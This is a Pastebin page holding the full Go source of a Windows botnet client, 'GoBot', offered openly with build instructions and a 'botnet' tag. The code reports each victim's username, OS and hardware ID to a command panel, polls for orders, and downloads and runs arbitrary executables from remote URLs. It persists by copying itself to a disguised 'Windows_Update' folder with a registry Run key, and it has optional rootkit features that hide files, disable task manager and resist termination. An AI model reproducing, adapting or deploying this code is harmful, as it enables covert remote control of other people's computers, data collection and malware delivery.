FlyFar

GoBot.go

Jul 15th, 2023
167
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Go 13.50 KB | Cybersecurity | 0 0
  1. //Compile with   go build -o GoBot.exe -ldflags "-H windowsgui" "C:\gobot.go"    to have no console show.
  2. // By SaturnsVoid
  3.  
  4. package main
  5.  
  6. import (
  7.     "bytes"
  8.     "crypto/md5"
  9.     "encoding/base64"
  10.     "encoding/hex"
  11.     "fmt"
  12.     "github.com/luisiturrios/gowin"
  13.     "io"
  14.     "io/ioutil"
  15.     "math/rand"
  16.     "net/http"
  17.     "net/url"
  18.     "os"
  19.     "os/exec"
  20.     "os/user"
  21.     "strings"
  22.     "syscall"
  23.     "time"
  24.     "unsafe"
  25.  
  26.     "GoBot/rootkit"
  27. )
  28.  
  29. var (
  30.     //================================================================================
  31.     //================================================================================
  32.     //================================================================================
  33.     //==========================================================Edit
  34.     Panel          string        = "aHR0cDovLzEyNy4wLjAuMS9nb2JvdC9Hb0JvdC5waHA=" //Control Panel URL(Base64 Encoded) http://127.0.0.1/cmd.php = aHR0cDovLzEyNy4wLjAuMS9jbWQucGhw
  35.     ReconnectTime  time.Duration = 5                                              //Minutes
  36.     SingleInstance bool          = true                                           //True = Only one can run, False = Mutliple can run at once
  37.     InstanceKey    string        = "0f7b0fcd-d67c-43d8-b7e5-76f95da01665"         //Key to detect for Single Instance http://www.guidgen.com/
  38.     USE_Install    bool          = false                                          // If enabled, GoBot will add itelf to startup
  39.     USE_Stealth    bool          = false                                          // If enabled, GoBot will add hidden and system attributes to its files
  40.     USE_Rootkit    bool          = false                                          /* If enabled, this will:
  41.     - Actively cloak GoBot's files from user detection
  42.     - Actively monitor registry to prevent removal from start up
  43.     - Disable task manager and other system tools
  44.     - Protect GoBot's process from termination */
  45.  
  46.     //==========================================================End Edit
  47.     //================================================================================
  48.     //================================================================================
  49.     //================================================================================
  50.     LastCMD string
  51.  
  52.     modkernel32        = syscall.NewLazyDLL("kernel32.dll")
  53.     procCreateMailslot = modkernel32.NewProc("CreateMailslotW")
  54.  
  55.     kernel32, _        = syscall.LoadLibrary("kernel32.dll")
  56.     getModuleHandle, _ = syscall.GetProcAddress(kernel32, "GetModuleHandleW")
  57.  
  58.     user32, _     = syscall.LoadLibrary("user32.dll")
  59.     messageBox, _ = syscall.GetProcAddress(user32, "MessageBoxW")
  60. )
  61.  
  62. const (
  63.     MB_OK                = 0x00000000
  64.     MB_OKCANCEL          = 0x00000001
  65.     MB_ABORTRETRYIGNORE  = 0x00000002
  66.     MB_YESNOCANCEL       = 0x00000003
  67.     MB_YESNO             = 0x00000004
  68.     MB_RETRYCANCEL       = 0x00000005
  69.     MB_CANCELTRYCONTINUE = 0x00000006
  70.     MB_ICONHAND          = 0x00000010
  71.     MB_ICONQUESTION      = 0x00000020
  72.     MB_ICONEXCLAMATION   = 0x00000030
  73.     MB_ICONASTERISK      = 0x00000040
  74.     MB_USERICON          = 0x00000080
  75.     MB_ICONWARNING       = MB_ICONEXCLAMATION
  76.     MB_ICONERROR         = MB_ICONHAND
  77.     MB_ICONINFORMATION   = MB_ICONASTERISK
  78.     MB_ICONSTOP          = MB_ICONHAND
  79.  
  80.     MB_DEFBUTTON1 = 0x00000000
  81.     MB_DEFBUTTON2 = 0x00000100
  82.     MB_DEFBUTTON3 = 0x00000200
  83.     MB_DEFBUTTON4 = 0x00000300
  84.  
  85.     letterBytes = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
  86. )
  87.  
  88. func main() {
  89.     defer syscall.FreeLibrary(kernel32)
  90.     defer syscall.FreeLibrary(user32)
  91.  
  92.     if SingleInstance != false {
  93.         err := singleInstance(InstanceKey)
  94.         if err != nil {
  95.         }
  96.     }
  97.     DebugLog("Started New Instance...")
  98.     DebugLog("Generating HWID: " + getUID())
  99.     if USE_Install {
  100.         DebugLog("Installing GoBot...")
  101.         Install()
  102.     }
  103.  
  104.     if USE_Stealth && USE_Install {
  105.         DebugLog("Stealth Installing GoBot...")
  106.         rootkit.Stealthify()
  107.     }
  108.  
  109.     if USE_Rootkit && USE_Stealth && USE_Install {
  110.         DebugLog("Installing GoBot and Activating Rootkit...")
  111.         go rootkit.Install()
  112.     }
  113.  
  114.     DebugLog("Sleeping for 1 minute...")
  115.     time.Sleep(60 * time.Second)
  116.     httpPOSTInformation()
  117.  
  118.     for {
  119.         time.Sleep(ReconnectTime * time.Second)
  120.         httpGETCommands()
  121.     }
  122. }
  123.  
  124. func httpGETCommands() {
  125.     rsp, err := http.Get(base64Decode(Panel) + "?get=" + getUID())
  126.     if err != nil {
  127.         DebugLog("Bad connection to panel...")
  128.     } else {
  129.         defer rsp.Body.Close()
  130.         buf, err := ioutil.ReadAll(rsp.Body)
  131.         if err != nil {
  132.         } else {
  133.             var tmpdat string = string(bytes.TrimSpace(buf))
  134.             if tmpdat == "Bot does not exist." {
  135.                 httpPOSTInformation()
  136.             } else {
  137.                 DebugLog("Encoded Command Found: " + string(bytes.TrimSpace(buf)))
  138.                 data := base64Decode(tmpdat)
  139.                 if data != LastCMD {
  140.                     tmp := strings.Split(data, "|")
  141.                     if tmp[0] == "ALL" || tmp[0] == getUID() {
  142.                         DebugLog("Decoded Command for me: " + data)
  143.                         if tmp[1] == "0" {
  144.                             os.Exit(0)
  145.                         } else if tmp[1] == "1" {
  146.                             if tmp[3] == "V" {
  147.                                 if strings.Contains(tmp[2], "www.") {
  148.                                     DebugLog("Opening Website V: " + tmp[2])
  149.                                     LastCMD = data
  150.                                     exec.Command("cmd", "/c", "start", tmp[2]).Start()
  151.                                 }
  152.                             } else if tmp[3] == "H" {
  153.                                 if strings.Contains(tmp[2], "www.") {
  154.                                     DebugLog("Opening Website H: " + tmp[2])
  155.                                     LastCMD = data
  156.                                     rsp, err := http.Get(tmp[2])
  157.                                     if err != nil {
  158.                                     }
  159.                                     defer rsp.Body.Close()
  160.                                 }
  161.                             }
  162.                         } else if tmp[1] == "2" {
  163.                             DebugLog("Showing MessageBox: " + tmp[2])
  164.                             LastCMD = data
  165.                             MessageBox(tmp[2], tmp[3], MB_OK)
  166.                         } else if tmp[1] == "3" {
  167.                             if strings.Contains(tmp[2], ".exe") {
  168.                                 DebugLog("Attempting to start: " + tmp[2])
  169.                                 LastCMD = data
  170.                                 run("start " + tmp[2])
  171.                             }
  172.                         } else if tmp[1] == "4" {
  173.                             if strings.Contains(tmp[2], ".exe") && strings.Contains(tmp[2], "http://") {
  174.                                 DebugLog("Attempting to download and run: " + tmp[2])
  175.                                 LastCMD = data
  176.                                 DownloadAndRun(tmp[2])
  177.                             }
  178.                         }
  179.                     }
  180.                 }
  181.             }
  182.         }
  183.     }
  184. }
  185.  
  186. func httpPOSTInformation() {
  187.     DebugLog("Sending Host Information...")
  188.     data := url.Values{}
  189.     data.Set("INFO", "")
  190.     data.Add("HWID", getUID())
  191.     data.Add("USERNAME", getUsername())
  192.     data.Add("WINDOWS", getOS())
  193.     u, _ := url.ParseRequestURI(base64Decode(Panel))
  194.     urlStr := fmt.Sprintf("%v", u)
  195.     client := &http.Client{}
  196.     r, _ := http.NewRequest("POST", urlStr, bytes.NewBufferString(data.Encode())) // <-- URL-encoded payload
  197.     r.Header.Add("Content-Type", "application/x-www-form-urlencoded")
  198.     resp, err := client.Do(r)
  199.     if err != nil {
  200.         DebugLog("Bad connection to panel...")
  201.     } else {
  202.         DebugLog("Panel: " + resp.Status)
  203.     }
  204. }
  205.  
  206. //================================================================================
  207. //================================================================================
  208. //================================================================================
  209. //================================================================================
  210. //-----------------------------------------------------------------Single Instance
  211. func singleInstance(name string) error {
  212.     ret, _, _ := procCreateMailslot.Call(
  213.         uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(`\\.\mailslot\`+name))),
  214.         0,
  215.         0,
  216.         0,
  217.     )
  218.     if int64(ret) == -1 {
  219.         os.Exit(0)
  220.     }
  221.     return nil
  222. }
  223.  
  224. //================================================================================
  225. //================================================================================
  226. //================================================================================
  227. //================================================================================
  228. //-----------------------------------------------------------------Information
  229. func getUsername() string {
  230.     usr, _ := user.Current()
  231.     return usr.Username
  232. }
  233.  
  234. func getOS() string {
  235.     val, _ := gowin.GetReg("HKLM", `Software\Microsoft\Windows NT\CurrentVersion`, "ProductName")
  236.     return val
  237. }
  238.  
  239. func getWInstalDate() string {
  240.     val, _ := gowin.GetReg("HKLM", `Software\Microsoft\Windows NT\CurrentVersion`, "InstallDate")
  241.     return val
  242. }
  243.  
  244. func getUID() string {
  245.     return getMD5Hash("GoBot$" + getUsername() + getOS() + getWInstalDate() + "$toBoG")
  246. }
  247.  
  248. //================================================================================
  249. //================================================================================
  250. //================================================================================
  251. //================================================================================
  252. //----------------------------------------------------------------Cryptography
  253. func getMD5Hash(text string) string {
  254.     hasher := md5.New()
  255.     hasher.Write([]byte(text))
  256.     return hex.EncodeToString(hasher.Sum(nil))
  257. }
  258. func base64Encode(str string) string {
  259.     return base64.StdEncoding.EncodeToString([]byte(str))
  260. }
  261.  
  262. func base64Decode(str string) string {
  263.     data, err := base64.StdEncoding.DecodeString(str)
  264.     if err != nil {
  265.         return ""
  266.     }
  267.     return string(data)
  268. }
  269.  
  270. //================================================================================
  271. //================================================================================
  272. //================================================================================
  273. //================================================================================
  274. //-----------------------------------------------------------------MessageBox
  275. func abort(funcname string, err error) {
  276.     panic(fmt.Sprintf("%s failed: %v", funcname, err))
  277. }
  278.  
  279. func MessageBox(caption, text string, style uintptr) (result int) {
  280.     var nargs uintptr = 4
  281.     ret, _, callErr := syscall.Syscall9(uintptr(messageBox),
  282.         nargs,
  283.         0,
  284.         uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(text))),
  285.         uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(caption))),
  286.         style,
  287.         0,
  288.         0,
  289.         0,
  290.         0,
  291.         0)
  292.     if callErr != 0 {
  293.         abort("Call MessageBox", callErr)
  294.     }
  295.     result = int(ret)
  296.     return
  297. }
  298.  
  299. func GetModuleHandle() (handle uintptr) {
  300.     var nargs uintptr = 0
  301.     if ret, _, callErr := syscall.Syscall(uintptr(getModuleHandle), nargs, 0, 0, 0); callErr != 0 {
  302.         abort("Call GetModuleHandle", callErr)
  303.     } else {
  304.         handle = ret
  305.     }
  306.     return
  307. }
  308.  
  309. //================================================================================
  310. //================================================================================
  311. //================================================================================
  312. //================================================================================
  313. //--------------------------------------------------------------Installer
  314. func Install() {
  315.     if !(strings.Contains(os.Args[0], "winupdt.exe")) {
  316.         run("mkdir %APPDATA%\\Windows_Update")
  317.         run("copy " + os.Args[0] + " %APPDATA%\\Windows_Update\\winupdt.exe")
  318.         run("REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /V Windows_Update /t REG_SZ /F /D %APPDATA%\\Windows_Update\\winupdt.exe")
  319.     }
  320. }
  321.  
  322. //================================================================================
  323. //================================================================================
  324. //================================================================================
  325. //================================================================================
  326. //----------------------------------------------------------------Debug Logger
  327. func DebugLog(text string) {
  328.     currenttime := time.Now().Local()
  329.     fmt.Println("[", currenttime.Format("2006-01-02 15:04:05"), "] "+text)
  330. }
  331.  
  332. //================================================================================
  333. //================================================================================
  334. //================================================================================
  335. //================================================================================
  336. //----------------------------------------------------------------------------CMD Runner
  337. func run(cmd string) {
  338.     c := exec.Command("cmd", "/C", cmd)
  339.  
  340.     if err := c.Run(); err != nil {
  341.         //fmt.Println("Error: ", err)
  342.     }
  343. }
  344.  
  345. //================================================================================
  346. //================================================================================
  347. //================================================================================
  348. //================================================================================
  349. //--------------------------------------------------------------------------Download and Run File
  350. func DownloadAndRun(url string) {
  351.     fileName := RandStringBytes(5) + ".exe"
  352.     DebugLog("Downloading " + url + " to " + fileName)
  353.     output, err := os.Create(os.Getenv("APPDATA") + "\\" + fileName)
  354.     if err != nil {
  355.         return
  356.     }
  357.     defer output.Close()
  358.     response, err := http.Get(url)
  359.     if err != nil {
  360.         return
  361.     }
  362.     defer response.Body.Close()
  363.     n, err := io.Copy(output, response.Body)
  364.     if err != nil {
  365.         return
  366.     }
  367.     DebugLog(string(n) + " file downloaded.")
  368.     DebugLog(os.Getenv("APPDATA") + "\\" + fileName)
  369.     DebugLog("Attempting to start " + fileName)
  370.     exec.Command("cmd", "/c", "start", os.Getenv("APPDATA")+"\\"+fileName).Start()
  371. }
  372.  
  373. //================================================================================
  374. //================================================================================
  375. //================================================================================
  376. //================================================================================
  377. //-------------------------------------------------------------------------Random String Generator
  378. func RandStringBytes(n int) string {
  379.     b := make([]byte, n)
  380.     for i := range b {
  381.         b[i] = letterBytes[rand.Intn(len(letterBytes))]
  382.     }
  383.     return string(b)
  384. }
Tags: botnet go golang
Add Comment
Please, Sign In to add comment